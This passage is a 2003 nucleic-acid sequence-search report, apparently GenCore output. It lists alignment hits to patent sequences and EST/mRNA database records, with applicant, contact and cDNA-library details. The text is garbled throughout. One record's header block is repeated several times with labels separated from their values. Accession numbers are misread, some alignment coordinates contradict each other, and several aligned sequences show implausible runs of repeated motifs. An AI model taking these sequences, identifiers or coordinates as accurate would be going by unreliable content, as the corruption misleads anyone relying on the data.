SEQUENCE CHARACTERISTICS:
LENGTH: 1889 base pairs
TYPE: nucleic acid
STRANDEDNESS: single
TOPOLOGY: linear
MOLECULE TYPE: CDNA
US-08-861-747-3

Query Match 1.1%, Score 18; DB 3; Length 1889;
Best Local Similarity 100.0%; Pred. No. 41;
Matches 18; Conservative 0; Mismatches 0; Indels 0; Gaps 0;

QY 221 GCGTGTGCTGCTGCTGA 238
DB 304 GCGTGTGCTGCTGCTGA 321

RESULT 13

US-08-935-855-21/C

Sequence 21, Application US/08935855

Patent No. 6066485

GENERAL INFORMATION:

APPLICANT: Guthridge, Mark

TITLE OF INVENTION: NOVEL GROWTH FACTOR INDUCIBLE

TITLE OF INVENTION: SERINE/THREONINE PHOSPHATASE, FIN13

NUMBER OF SEQUENCES: 22

CORRESPONDENCE ADDRESS:

ADDRESSEE: David A. Jackson, Esq.

STREET: 411 Hackensack Ave, Continental Plaza, 4th

CITY: Hackensack

STATE: New Jersey

COUNTRY: USA

ZIP: 07601

COMPUTER READABLE FORM:

MEDIUM TYPE: floppy disk

COMPUTER: IBM PC compatible

OPERATING SYSTEM: PC-DOS/MS-DOS

SOFTWARE: Patent Release #1.0, Version #1.30

CURRENT APPLICATION DATA:

APPLICATION NUMBER: US/08/935,855

FILING DATE:

CLASSIFICATION: 435

ATTORNEY/AGENT INFORMATION:

NAME: Jackson Esq., David A.

REGISTRATION NUMBER: 26,742

REFERENCE/DOCKET NUMBER: 1049-1-002 CIP

TELECOMMUNICATION INFORMATION:

TELEPHONE: 201-487-5800

TELEFAX: 201-343-1684

INFORMATION FOR SEQ ID NO: 21:

SEQUENCE CHARACTERISTICS:

LENGTH: 2081 base pairs

TYPE: nucleic acid

STRANDEDNESS: double

TOPOLOGY: linear

MOLECULE TYPE: CDNA

HYPOTHETICAL: NO

ORIGINAL SOURCE:

ORGANISM: Mus musculus

US-08-935-855-21

Query Match 1.1%, Score 18; DB 3; Length 2081;

Best Local Similarity 100.0%; Pred. No. 41;
Matches 18; Conservative 0; Mismatches 0; Indels 0; Gaps 0;

QY 149 GCGAGCGGAGCCGCGG 166

DB 97 GCGAGCGGAGCCGCGG 80

RESULT 14

US-09-305-384-6/C

Sequence 6, Application US/09305384

Patent No. 6242218

GENERAL INFORMATION:

APPLICANT: Treco, Douglas A.

APPLICANT: Heald, Richard F.

TITLE OF INVENTION: GENOMIC SEQUENCES FOR PROTEIN PRODUCTION AND DELIVERY

FILE REFERENCE: 07236/017001

CURRENT APPLICATION NUMBER: US/09/305,384

CURRENT FILING DATE: 1999-05-05

EARLIER APPLICATION NUMBER: US 60/084,649

EARLIER FILING DATE: 1998-05-07

NUMBER OF SEQ ID NOS: 8

SOFTWARE: FastSeq for Windows Version 3.0

SEQ ID NO 6

LENGTH: 2834

TYPE: DNA

ORGANISM: Homo sapiens

US-09-305-384-6

Query Match 1.1%, Score 18; DB 4; Length 2834;
Best Local Similarity 100.0%; Pred. No. 41;
Matches 18; Conservative 0; Mismatches 0; Indels 0; Gaps 0;

QY 1497 TCAGAGCCACAGCTGGCT 1514

DB 633 TCAGAGCCACAGCTGGCT 616

RESULT 15

US-09-305-384-5/C

Sequence 5, Application US/09305384

Patent No. 6242218

GENERAL INFORMATION:

APPLICANT: Treco, Douglas A.

APPLICANT: Heald, Richard F.

TITLE OF INVENTION: GENOMIC SEQUENCES FOR PROTEIN PRODUCTION AND DELIVERY

FILE REFERENCE: 07236/017001

CURRENT APPLICATION NUMBER: US/09/305,384

CURRENT FILING DATE: 1999-05-05

EARLIER APPLICATION NUMBER: US 60/084,649

EARLIER FILING DATE: 1998-05-07

NUMBER OF SEQ ID NOS: 8

SOFTWARE: FastSeq for Windows Version 3.0

SEQ ID NO 5

LENGTH: 6235

TYPE: DNA

ORGANISM: Homo sapiens

US-09-305-384-5

Query Match 1.1%, Score 18; DB 4; Length 6235;
Best Local Similarity 100.0%; Pred. No. 40;
Matches 18; Conservative 0; Mismatches 0; Indels 0; Gaps 0;

QY 1497 TCAGAGCCACAGCTGGCT 1514

DB 2522 TCAGAGCCACAGCTGGCT 2505

Search completed: July 12, 2003, 18:01:58
Job time : 91 secs

GenCore version 5.1.6
Copyright (c) 1993 - 2003 Compugen Ltd.

OM nucleic - nucleic search, using sw model

Run on: July 12, 2003, 15:19:57 ; Search time 2386 Seconds
(without alignments)
10853.555 Million cell updates/sec

Title: US-09-784-810a-1_COPY_2_1600
Perfect score: 1599
Sequence: 1 cccccgggctctatagc.....aataagtgacattcccaa 1599

Scoring table: OLIGO_NUC
Gapop 60.0 , Gapext 60.0

Searched: 16154066 seqs, 8097743376 residues

Word size : 0

Total number of hits satisfying chosen parameters: 32308132

Minimum DB seq length: 0
Maximum DB seq length: 200000000

Post-processing: Lasting first 45 summaries

Database :
EST:
1: em_estba:*
2: em_esthum:*
3: em_estlin:*
4: em_estmu:*
5: em_estcov:*
6: em_estcpl:*
7: em_estro:*
8: em_hic:*
9: gb_est1:*
10: gb_est2:*
11: gb_hic:*
12: gb_est3:*
13: gb_est4:*
14: gb_est5:*
15: em_estfun:*
16: em_estom:*
17: gb_gss:*
18: em_gss_hum:*
19: em_gss_inv:*
20: em_gss_pln:*
21: em_gss_vrt:*
22: em_gss_fun:*
23: em_gss_man:*
24: em_gss_mus:*
25: em_gss_other:*
26: em_gss_pro:*
27: em_gss_rod:*

Pred. No. is the number of results predicted by chance to have a score greater than or equal to the score of the result being printed, and is derived by analysis of the total score distribution.

SUMMARIES

Result No.	Score	Query Match	Length	DB ID	Description
1	608	38.0	662	13	BM386957 UI-R-CNI-
2	590	36.9	2133	11	BC014439 Homo sapi
3	537	33.6	1005	13	BM559257 AGENCOURT
4	527	33.0	676	10	AM963415
5	467	29.2	720	14	BQ109456
6	447	28.0	772	9	AI769914 wj30d06.x

Result No.	Score	Query Match	Length	DB ID	Description
7	440	27.5	447	9	A1042283
8	440	27.5	587	9	AUI47968
9	422	26.4	852	10	BE274434
10	422	26.4	1075	13	BM557357
11	405	25.3	618	10	AM662445
12	399	25.0	416	13	BM471470
13	393	24.6	603	10	BE275818
14	391	24.5	1115	13	BM550039
15	391	24.5	1134	14	BM808666
16	381	23.8	675	9	AUI34361
17	380	23.8	388	9	A1074186
18	378	23.6	702	10	BE464487
19	374	23.4	638	9	A1972156
20	360	22.5	478	12	BE740866
21	337	21.1	1232	13	BM556915
22	336	21.0	355	14	B0027486
23	322	20.1	697	13	BI255900
24	321	20.1	409	10	AM192475
25	312	19.5	999	14	B0675531
26	297	18.6	348	14	BM709951
27	294	18.4	809	12	BG280830
28	293	18.3	793	12	BG678689
29	291	18.2	1100	14	BM916526
30	291	18.2	1137	14	BM810136
31	290	18.1	888	14	B0647377
32	288	18.0	604	9	AUI22376
33	282	17.6	856	13	BI757316
34	277	17.3	534	12	BE904632
35	276	17.3	1054	14	BM808698
36	265	16.6	412	9	AA639412
37	258	16.1	383	12	BG057227
38	241	15.1	650	12	BG104264
39	240	15.0	271	14	D31133
40	220	14.4	316	9	AA372241
41	220	13.8	973	10	BE273426
42	206	12.9	266	13	BM471402
43	199	12.4	318	13	BI013436
44	198	12.4	732	12	BE728564
45	194	12.1	413	13	BI013566

ALIGNMENTS

RESULT 1
LOCUS BM386957/c
DEFINITION UI-R-CNI-cj1-c-13-0-UI-s1 UI-R-CNI Rattus norvegicus CDNA clone
ACCESSION BM386957
VERSION BM386957.1 GI:18187010
KEYWORDS EST.
SOURCE Norway rat.
ORGANISM Rattus norvegicus
Eukaryota; Metazoa; Chordata; Vertebrata; Euteleostomi;
Mammalia; Eutheria; Rodentia; Sciurognathi; Muridae; Murinae;
Rattus.
REFERENCE 1 (bases 1 to 662)
AUTHORS Bonaldo,M.F., Lennon,G. and Soares,M.B.
TITLES Normalization and subtraction: two approaches to facilitate gene discovery
JOURNAL Genome Res. 6 (9), 791-806 (1996)
MEDLINE 97044477
COMMENT Contact: Soares, MB
Program for Rat Gene Discovery and Mapping
University of Iowa
451 Eckstein Medical Research Building Iowa City, IA 52242, USA
Tel: 319 335 8250
Fax: 319 335 9565
Email: mssoares@blue.weeg.uiowa.edu
The sequence contained an oligo-dT track that was present in the oligonucleotide that was used to prime the synthesis of first strand cDNA and therefore this may represent a bonafide poly A

tail. cDNA library Preparation: M.B. Soares Lab Clone distribution:
Clones will be available through Research Genetics (www.resgen.com)
Seq primer: M13 forward
POLYA-Tes

FEATURES

Location/Qualifiers
1. 662
/organism="Rattus norvegicus"
/strain="Sprague-Dawley"
/db_xref="taxon:10116"
/clone="UI-R-CNI-cj1-c-13-0-UI"
/clone_1lb="UI-R-CNI"
/dev_stage="adult"
/lab_host="DH10B (Life Technologies)"
/note="Vector: p773D-Pac (Pharmacia) with a modified
polylinker. Site 1: Not I; Site 2: Eco RI; The UI-R-CNI
library is a subtracted library derived from the following
pool of seven normalized rat libraries: normalized rat
seminal vesicles, normalized rat penis, normalized rat
bladder, normalized rat fundus, and normalized rat
salivary gland. It was constructed according to the
procedure described by Bonaldo, Lennon & Soares (Genome
Research genome 6: 791-806, 1996). For construction of
the CNI library, plasmid DNA from the pool of normalized
libraries was electroporated into competent bacteria for
the production of single-stranded circular DNA. This was
then used as a tracer in a subtractive hybridization with
a driver (PCR amplified inserts from a plasmid DNA template
preparation) comprising: a) a pool of about 34,000 clones
from the Rat Unigene Set corresponding to plates R-5-AA-NM
excluding plates R-5-MM and MN. This pool represented 40%
of the final driver population. b) a pool of about 29,000
clones from subtracted libraries CNO and CNI corresponding
to plates R-CAO-AMV through R-CAO-AXZ, R-CAO-AXZ through
R-CAO-BXZ, R-CAO-BFE through R-CAO-BHT, R-CAO-BUS,
R-CAO-BKE, R-CAO-BKG-H, R-CAO-BKU-K, R-CAO-BKE through
R-CAO-BKS, R-CAO-BKU-V, R-CAO-BLY through R-CAO-BMA,
R-CAO-BMC through R-CAO-BME, R-CAO-BMS, R-CAO-BOB through
R-CAO-BOJ, R-CAO-BPA through R-CAO-BPG, R-CAO-BBA through
R-CAI-BDA, R-CAI-BHZ through R-CAI-BPJ, R-CAI-BJR,
R-CAI-BJT through R-CAI-BKE, R-CAI-BED, R-CAI-BUR,
R-CAI-BKI, R-CAI-BKT, R-CAI-BLE, R-CAI-BLH through
R-CAI-BLN, R-CAI-BLS, R-CAI-BLV, R-CAI-BMR, and
R-CAI-BLE. The resulting pool represented 20% of the
final driver population. c) a pool of about 15,000 clones
from non-normalized libraries CS0, CT0, CM0, and CX0
and normalized libraries CS0, CT0, CM0, and CX0
corresponding to plates R-CS0s-CHD through R-CS0s-CHO,
R-CT0s-CAM through R-CT0s-CXZ, R-CU0s-CBP through
R-CU0s-CCX, R-CU0s-CCS through R-CU0s-CCM, R-CX0s-CCN
through R-CX0s-CCX, R-CS0-BSD, R-CS0-BTD through R-CS0-BTV
, R-CS0-BVM, R-CT0-BTM through R-CT0-BDP, R-CT0-BVN,
R-CU0-BUQ through R-CU0-BVL, R-CU0-BVY through R-CU0-BMP,
R-CU0-BXN through R-CU0-BXO, R-CX0-BMO through R-CX0-BXM.
The resulting pool represented 5% of the final driver
population. d) a pool of about 5,000 clones (1,000 from
non-normalized eye library CV0 and 4,000 from normalized
eye library CV1) corresponding to plates R-CV0-BRH through
R-CV1-BTC, R-CV1-BRS through R-CV1-BSC, R-CV1-BSE through
R-CV1-BTG, and R-CV1-BVO through R-CV1-BVU. This pool
represented about 5% of the final driver population. e) A
pool of about 10,000 clones from subtracted library BS2,
BV0 and BV0P (7-9.5 kb cDNA library fraction from rat
whole embryo), and BX0 (0.5-7kb cDNA library fraction from
rat whole embryo) corresponding to plates R-BS2-BDB
through R-BS2-BFB, R-BV0-ANK through R-BV0-ANR, R-BV0P-AOI
through R-BV0P-AOX, and R-BX0-AYQ through R-BX0-ASH. The
resulting pool represented 5% of the final driver
population. f) a pool of about 7,000 clones from the
seven non-normalized libraries that make up the tracer
including CV0, CZ0, DA0, DB0, DD0, and DE0
corresponding to plates R-CV0-BXP through R-CV0-BXZ,
R-CZ0-BYA through R-CZ0-BYL, R-CD0-BZB-C, R-DN0-BYT

through R-DN0-BYP, R-DA0-BZD through R-DN0-BZH, R-DB0-BYQ
through R-DB0-BZA, R-DC0-BZT through R-DC0-BZQ, R-DC0-CAI
through R-DC0-CBA, R-DD0-BZR through R-DD0-CAI,
R-DD0-CBB-C, and R-DE0-CAB through R-DE0-CAI. The
resulting pool represented about 10% of the final driver
population. g) a pool of about 2,000 clones from the pool
of normalized libraries, CNO, that makes up the tracer.
The corresponding plates are R-CNO-BKW through R-CNO-BLD,
R-CNO-BLG, R-CNO-BLR, and R-CNO-BLP through R-CNO-BLT,
R-CNO-BMW-X, R-CNO-BMB, and R-CNO-BMF through R-CNO-BML.
This pool represented 5% of the final driver population.
h) a pool of the 28 most abundant clones in the CNO pool
corresponding to the following addresses: bxw-a-09-0-UI,
bxw-b-09-0-UI, bxw-b-11-0-UI, bxw-b-10-0-UI, bxw-d-01-0-UI
bxw-d-05-0-UI, bxw-g-08-0-UI, bxw-h-12-0-UI,
bxw-a-05-0-UI, bxw-a-05-0-UI, bxw-a-11-0-UI, bxw-c-06-0-UI,
bxw-c-09-0-UI, bxw-a-10-0-UI, bla-a-01-0-UI,
bla-a-02-0-UI, bla-f-04-0-UI, bla-g-07-0-UI, bla-g-12-0-UI,
bla-a-12-0-UI, bla-f-02-0-UI, bla-c-11-0-UI,
blc-e-95-0-UI, bld-1-08-0-UI, bld-1-02-0-UI, blq-h-04-0-UI,
blr-a-05-0-UI, blt-f-08-0-UI. This pool represented 3%
of the final driver population. i) One abundant CNO clone
(corresponding to the address bxz-a-11-0-UI) was digested
with Not I and Eco RI and the resulting insert was gel
purified. This purified insert was added directly to the
driver so that it represented 5% of the final driver
population.
TAG_SEQ=None found"

BASE COUNT 136 a 210 c 178 g 138 t
ORIGIN
Query Match 38 0%: Score 608; DB 13; Length 662;
Best Local Similarity 100.0%; Pred. No. 1.6e-280;
Matches 608; Conservative 0; Mismatches 0; Indels 0; Gaps 0;
1112 AGTGAATGACCCCTCTGATATGAGCCGAGTGGCTCCGCTTGAGGCCAAG 1171
1112 AGTGAATGACCCCTCTGATATGAGCCGAGTGGCTCCGCTTGAGGCCAAG 1171
504 AGTGAATGACCCCTCTGATATGAGCCGAGTGGCTCCGCTTGAGGCCAAG 445
1172 ATGGGAAGAGTGTGAGTGAAGTGAAGTGAAGTGAAGTGAAGTGAAGTGAAG 1231
444 ATGGGAAGAGTGTGAGTGAAGTGAAGTGAAGTGAAGTGAAGTGAAGTGAAG 385
1232 AGTGAACCCCAACTCTTGATGATGATGATGATGATGATGATGATGATGATG 1291
384 AGTGAACCCCAACTCTTGATGATGATGATGATGATGATGATGATGATGATG 325
1292 AGCCCAAGCAGATGCCACGACGACGACGACGACGACGACGACGACGACGAC 1351
324 AGCCCAAGCAGATGCCACGACGACGACGACGACGACGACGACGACGACGAC 265
1352 AGTGTACTACTGAGGAGACCTTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT 1411
264 AGTGTACTACTGAGGAGACCTTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT 205
1412 TGTGGGGGTGAGAGACCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT 1471
204 TGTGGGGGTGAGAGACCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT 145
1472 GGACGAGCCAGATGAAGTCTGTGGTCTGAGAGCCCAAGCCAGTGGCCACACTG 1531
144 GGACGAGCCAGATGAAGTCTGTGGTCTGAGAGCCCAAGCCAGTGGCCACACTG 85
1532 TAAGGCTTATTTGTTGAGAGCCCAAGCCCAAGCCCAAGCCCAAGCCCAAGG 1291

DB	1592	ATTCGCCAA	1599	
OY	1592	ATTCGCCAA	1599	
Db	24	ATTCGCCAA	17	
RESULT 2				
LOCUS	BC014439	2133 bp	mRNA	linear
DEFINITION	BC014439	2133 bp	mRNA	linear
VERSION	BC014439.1	GI:17939597		
KEYWORDS	HTC.			
SOURCE	Homo sapiens.			
ORGANISM	Homo sapiens.			
REFERENCE	Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi; Mammalia; Eutheria; Primates; Catarrhini; Hominidae; Homo.			
AUTHORS	1 (bases 1 to 2133)			
TITLE	Strausberg, R.			
JOURNAL	Submitted (17-SEP-2001) National Institutes of Health, Mammalian Gene Collection (MGC), Cancer Genomics Office, National Cancer Institute, 31 Center Drive, Room 11A03, Bethesda, MD 20892-2590, USA			
REMARK	NIH-MGC Project URL: http://mgc.ncl.nih.gov			
COMMENT	Contact: MGC help desk Email: cgabs-remail.nih.gov Tissue Procurement: ATCC/DCTD/DTF CDNA Library Preparation: Rubin Laboratory CDNA Library Arrayed by: The I.M.A.G.E. Consortium (LLNL) DNA Sequencing by: Genome Sequence Centre, BC Cancer Agency, Vancouver, BC, Canada info@bcgsc.bc.ca Steven Jones, Jennifer Asano, Ian Bosdet, Yaron Butterfield, Susanna Chan, Readman Chiu, Chris Fjell, Erin Garland, Ran Guin, Letticia Hsiao, Martin Krzywinski, Reta Kutscher, Oliver Lee, Soo Sen Lee, Victor Ling, Carlie Mathewson, Candice McLeavy, Steven Nees, Pawan Pandoh, Anna-Liisa Prabhu, Parvaneh Saeedi, Jacqueline Schein, Duane Smallis, Michael Smith, Lorraine Spence, Jeff Stott, Michael Thorne, Miranada Tsai, Matsaia van den Bosch, Jill Vardy, George Yang, Scott Zuyderduyn, Marco Marra.			
FEATURES	Clone distribution: MGC clone distribution information can be found through the I.M.A.G.E. Consortium/LLNL at: http://image.llnl.gov Series: IRAL Plate: 34 Row: 1 Column: 9 This clone was selected for full length sequencing because it passed the following selection criteria: matched mRNA gi: 11464966 This clone has the following problem: incomplete processing. Location/Qualifiers			
SOURCE	1. 2133 /organism="Homo sapiens" /db_xref="taxon:9606" /clone="IMAGE:4871343" /tissue_type="Skin, melanotic melanoma, high MDR." /lab_host="DH10B-R" /note="Vector: pOTB7"			
BASE COUNT	350 a 681 c 719 g 383 t			
ORIGIN				
Query Match	36.9%; Score 590; DB 11; Length 2133;			
Best Local Similarity	100.0%; Pred. No. 84e-272;			
Matches	590; Conservative 0; Mismatches 0; Indels 0; Gaps 0;			
OY	18	AGCCACGGCTCCGGGGGGAAGCGAGCCGCCACAGCGGCGCTGCGACGCCCGCTGGG	77	
Db	536	AGCCACGGCTCCGGGGGGAAGCGAGCCGCCACAGCGGCGCTGCGACGCCCGCTGGG	595	
OY	78	CAGCAGCATTAAGAGCTGAAGCGAGAGCGCCGCCGCACAGCGGCGACGCCGCCACAGCGCC	137	
Db	596	CAGCAGCATTAAGAGCTGAAGCGAGAGCGCCGCCGCACAGCGGCGACGCCGCCACAGCGCC	655	

FEATURES	source
ORGANISM	"Homo sapiens"
db_xref="taxon:9606"	
/clone="IMAGE:5474413"	
/clone_lib="NH_MGC_41"	
/tissue_type="amelanotic melanoma, cell line"	
/lab_host="DH10B (phage-resistant)"	
/note="Organ: skin; Vector: pOTB7; Site_1: XhoI; Site_2: EcoRI; cDNA made by oligo-dT priming. Directionally cloned into EcoRI/XhoI sites using the following 5' adaptor: GGCAAGCAG(G). Library constructed by Ling Hong in the laboratory of Gerald M. Rubin (University of California,	
REFERENCE	
AUTHORS	
TITLE	
JOURNAL	
COMMENT	
ORGANISM	Homo sapiens
Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi; Mammalia; Eutheria; Primates; Catarrhini; Hominiidae; Homo.	
1 (bases 1 to 1005)	
NIH-MGC http://mgc.nci.nih.gov/ .	
National Institutes of Health, Mammalian Gene Collection (MGC)	
Unpublished (1999)	
Contact: Robert Strausberg, Ph.D.	
Email: cgapbs-remail.nih.gov	
Tissue Procurement: DCTD/DRP	
cDNA Library Preparation: Rubin Laboratory	
cDNA Library Arrayed by: The I.M.A.G.E. Consortium (LMN)	
DNA Sequencing by: Agencourt Bioscience Corporation	
Clone distribution: MGC clone distribution information can be found through the I.M.A.G.E. Consortium/LMN at: http://image.llnl.gov	
Plate: L1CM1987 row: 3 column: 14	
High quality sequence stop: 618.	
Location/Qualifiers	
1..1005	
db_xref="taxon:9606"	
/clone="IMAGE:5474413"	
/clone_lib="NH_MGC_41"	
/tissue_type="amelanotic melanoma, cell line"	
/lab_host="DH10B (phage-resistant)"	
/note="Organ: skin; Vector: pOTB7; Site_1: XhoI; Site_2: EcoRI; cDNA made by oligo-dT priming. Directionally cloned into EcoRI/XhoI sites using the following 5' adaptor: GGCAAGCAG(G). Library constructed by Ling Hong in the laboratory of Gerald M. Rubin (University of California,	
REFERENCE	
AUTHORS	
TITLE	
JOURNAL	
COMMENT	
ORGANISM	Homo sapiens
Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi; Mammalia; Eutheria; Primates; Catarrhini; Hominiidae; Homo.	
1 (bases 1 to 1005)	
NIH-MGC http://mgc.nci.nih.gov/ .	
National Institutes of Health, Mammalian Gene Collection (MGC)	
Unpublished (1999)	
Contact: Robert Strausberg, Ph.D.	
Email: cgapbs-remail.nih.gov	
Tissue Procurement: DCTD/DRP	
cDNA Library Preparation: Rubin Laboratory	
cDNA Library Arrayed by: The I.M.A.G.E. Consortium (LMN)	
DNA Sequencing by: Agencourt Bioscience Corporation	
Clone distribution: MGC clone distribution information can be found through the I.M.A.G.E. Consortium/LMN at: http://image.llnl.gov	
Plate: L1CM1987 row: 3 column: 14	
High quality sequence stop: 618.	
Location/Qualifiers	
1..1005	
db_xref="taxon:9606"	
/clone="IMAGE:5474413"	
/clone_lib="NH_MGC_41"	
/tissue_type="amelanotic melanoma, cell line"	
/lab_host="DH10B (phage-resistant)"	
/note="Organ: skin; Vector: pOTB7; Site_1: XhoI; Site_2: EcoRI; cDNA made by oligo-dT priming. Directionally cloned into EcoRI/XhoI sites using the following 5' adaptor: GGCAAGCAG(G). Library constructed by Ling Hong in the laboratory of Gerald M. Rubin (University of California,	
REFERENCE	
AUTHORS	
TITLE	
JOURNAL	
COMMENT	
ORGANISM	Homo sapiens
Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi; Mammalia; Eutheria; Primates; Catarrhini; Hominiidae; Homo.	
1 (bases 1 to 1005)	
NIH-MGC http://mgc.nci.nih.gov/ .	
National Institutes of Health, Mammalian Gene Collection (MGC)	
Unpublished (1999)	
Contact: Robert Strausberg, Ph.D.	
Email: cgapbs-remail.nih.gov	
Tissue Procurement: DCTD/DRP	
cDNA Library Preparation: Rubin Laboratory	
cDNA Library Arrayed by: The I.M.A.G.E. Consortium (LMN)	
DNA Sequencing by: Agencourt Bioscience Corporation	
Clone distribution: MGC clone distribution information can be found through the I.M.A.G.E. Consortium/LMN at: http://image.llnl.gov	
Plate: L1CM1987 row: 3 column: 14	
High quality sequence stop: 618.	
Location/Qualifiers	
1..1005	
db_xref="taxon:9606"	
/clone="IMAGE:5474413"	
/clone_lib="NH_MGC_41"	
/tissue_type="amelanotic melanoma, cell line"	
/lab_host="DH10B (phage-resistant)"	
/note="Organ: skin; Vector: pOTB7; Site_1: XhoI; Site_2: EcoRI; cDNA made by oligo-dT priming. Directionally cloned into EcoRI/XhoI sites using the following 5' adaptor: GGCAAGCAG(G). Library constructed by Ling Hong in the laboratory of Gerald M. Rubin (University of California,	
REFERENCE	
AUTHORS	
TITLE	
JOURNAL	
COMMENT	
ORGANISM	Homo sapiens
Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi; Mammalia; Eutheria; Primates; Catarrhini; Hominiidae; Homo.	
1 (bases 1 to 1005)	
NIH-MGC http://mgc.nci.nih.gov/ .	
National Institutes of Health, Mammalian Gene Collection (MGC)	
Unpublished (1999)	
Contact: Robert Strausberg, Ph.D.	
Email: cgapbs-remail.nih.gov	
Tissue Procurement: DCTD/DRP	
cDNA Library Preparation: Rubin Laboratory	
cDNA Library Arrayed by: The I.M.A.G.E. Consortium (LMN)	
DNA Sequencing by: Agencourt Bioscience Corporation	
Clone distribution: MGC clone distribution information can be found through the I.M.A.G.E. Consortium/LMN at: http://image.llnl.gov	
Plate: L1CM1987 row: 3 column: 14	
High quality sequence stop: 618.	
Location/Qualifiers	
1..1005	
db_xref="taxon:9606"	
/clone="IMAGE:5474413"	
/clone_lib="NH_MGC_41"	
/tissue_type="amelanotic melanoma, cell line"	
/lab_host="DH10B (phage-resistant)"	
/note="Organ: skin; Vector: pOTB7; Site_1: XhoI; Site_2: EcoRI; cDNA made by oligo-dT priming. Directionally cloned into EcoRI/XhoI sites using the following 5' adaptor: GGCAAGCAG(G). Library constructed by Ling Hong in the laboratory of Gerald M. Rubin (University of California,	
REFERENCE	
AUTHORS	
TITLE	
JOURNAL	
COMMENT	
ORGANISM	Homo sapiens

Berkeley) using ZAP-CDNA synthesis kit (Stratagene) and
SuperScript II RT (Life Technologies). Note: this is a
NIH-MGC library."

BASE COUNT 157 a 333 c 348 g 167 t
Query Match 33.6%; Score 537; DB 13; Length 1005;
Best Local Similarity 100.0%; Pred. No. 2e-246;
Matches 537; Conservative 0; Mismatches 0; Indels 0; Gaps 0;

18 ACCGACGCTCCGCGGCGGAGCGGAGCCGAGCCGCTGAGAGCCGCGCTGGG 77
DB 169 ACCGACGCTCCGCGGCGGAGCGGAGCCGAGCCGCTGAGAGCCGCGCTGGG 228
QY 78 CAGCAGCGATAGAGAGCTGAGAGCGGAGCGGAGCCGAGCGGAGCGGAGCGG 137
DB 229 CAGCAGCGATAGAGAGCTGAGAGCGGAGCGGAGCCGAGCGGAGCGGAGCGG 288
QY 138 AGGAGACCCCTGCGAGCGGAGCGGAGCGGAGCTGAGAGCGGAGCGGAGCGG 197
DB 289 AGGAGACCCCTGCGAGCGGAGCGGAGCGGAGCTGAGAGCGGAGCGGAGCGG 348
QY 198 GGGCGTGTCCCGCGGCGGAGCGGAGCGGAGCTGAGAGCGGAGCGGAGCGG 257
DB 349 GGGCGTGTCCCGCGGCGGAGCGGAGCGGAGCTGAGAGCGGAGCGGAGCGG 408
QY 258 CAGGCGCTTGCAGCTCTTCCGAGCTGAGAGCGGAGCGGAGCTTGCAGCTGAGAGCTC 317
DB 409 CAGGCGCTTGCAGCTCTTCCGAGCTGAGAGCGGAGCGGAGCTTGCAGCTGAGAGCTC 468
QY 318 CTTCACGCTGATGCTCTACTGAGCGGAGCGGAGCGGAGCTGAGAGCGGAGCGG 377
DB 469 CTTCACGCTGATGCTCTACTGAGCGGAGCGGAGCGGAGCTGAGAGCGGAGCGG 528
QY 378 GGTGGGCGCGGAGCGGAGCGGAGCGGAGCTGAGAGCGGAGCGGAGCTGAGAGCGG 437
DB 529 GGTGGGCGCGGAGCGGAGCGGAGCGGAGCTGAGAGCGGAGCGGAGCTGAGAGCGG 588
QY 438 GAAGGCGCTCATGAGCGGAGCGGAGCGGAGCGGAGCTGAGAGCGGAGCGGAGCT 497
DB 589 GAAGGCGCTCATGAGCGGAGCGGAGCGGAGCGGAGCTGAGAGCGGAGCGGAGCT 648
QY 498 CCGACGAGGCTCTGAGAGCGGAGCGGAGCTGAGAGCGGAGCTGAGAGCGGAGCT 554
DB 649 CCGACGAGGCTCTGAGAGCGGAGCGGAGCTGAGAGCGGAGCTGAGAGCGGAGCT 705

RESULT 4
AM963415 676 bp mRNA linear EST 01-JUN-2000
LOCUS EST375488 MAGE resequences, MACH Homo sapiens cDNA, mRNA sequence.
DEFINITION AM963415
ACCESSION AM963415
VERSION AM963415.1 GI:8153251
KEYWORDS EST.
SOURCE human.
ORGANISM Homo sapiens
Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
Mammalia; Eutheria; Primates; Catarrhini; Hominoidea; Homo.
REFERENCE 1 (bases 1 to 676)
AUTHORS Hegde,P., Qi,R., Abernathy,K., Dharap,S., Gaspar,R., Gay,C., Holt,
I.E., Saeed,A.I., Sharov,V., Lee,N.H., Yeatman,T.J. and
Quackenbush,J.
TITLE Assessment of gene expression patterns in a model of colon tumor
metastasis using a 19,200 element cDNA microarray
JOURNAL Unpublished (2000)
COMMENT Contact: John Quackenbush
The Institute for Genomic Research
9712 Medical Center Dr., Rockville, MD 20850, USA
Tel: 301 838 3528
Fax: 301 838 0208
Email: jquackenbush@igmr.org
Plate: 187
Seq primer: Reverse.

FEATURES
Source Location/Qualifiers
1..676
/organism="Homo sapiens"
/db_xref="taxon:9606"
/clone_lib="MAGE resequences, MACH"
/note="Vector: pBluescriptPSK"

BASE COUNT 147 a 220 c 188 g 121 t

Query Match 33.0%; Score 527; DB 10; Length 676;
Best Local Similarity 100.0%; Pred. No. 1.2e-241;
Matches 527; Conservative 0; Mismatches 0; Indels 0; Gaps 0;

QY 1070 TGTGCGGCTCTTCTGCGGAGCGGAGCGGAGCTGAGAGCGGAGCGGAGCGG 1129
DB 527 TGTGCGGCTCTTCTGCGGAGCGGAGCGGAGCTGAGAGCGGAGCGGAGCGG 468
QY 1130 TGTATATATGCGGCTGCGCTTCCGCTTGGAGCGGAGCGGAGCGGAGCGG 1189
DB 467 TGTATATATGCGGCTGCGCTTCCGCTTGGAGCGGAGCGGAGCGGAGCGG 408
QY 1190 CAGTGATGCGGAGCGGAGCGGAGCGGAGCTGAGAGCGGAGCGGAGCGGAGCT 1249
DB 407 CAGTGATGCGGAGCGGAGCGGAGCGGAGCTGAGAGCGGAGCGGAGCGGAGCT 348
QY 1250 TCTGAGATGTCAGCGGCTGCTGAGAGCGGAGCGGAGCTGAGAGCGGAGCT 1309
DB 347 TCTGAGATGTCAGCGGCTGCTGAGAGCGGAGCGGAGCTGAGAGCGGAGCT 288
QY 1310 CGCCAGAGAGCGGCTTATGAGCGGAGCGGAGCGGAGCTGAGAGCGGAGCT 1369
DB 287 CGCCAGAGAGCGGCTTATGAGCGGAGCGGAGCGGAGCTGAGAGCGGAGCT 228
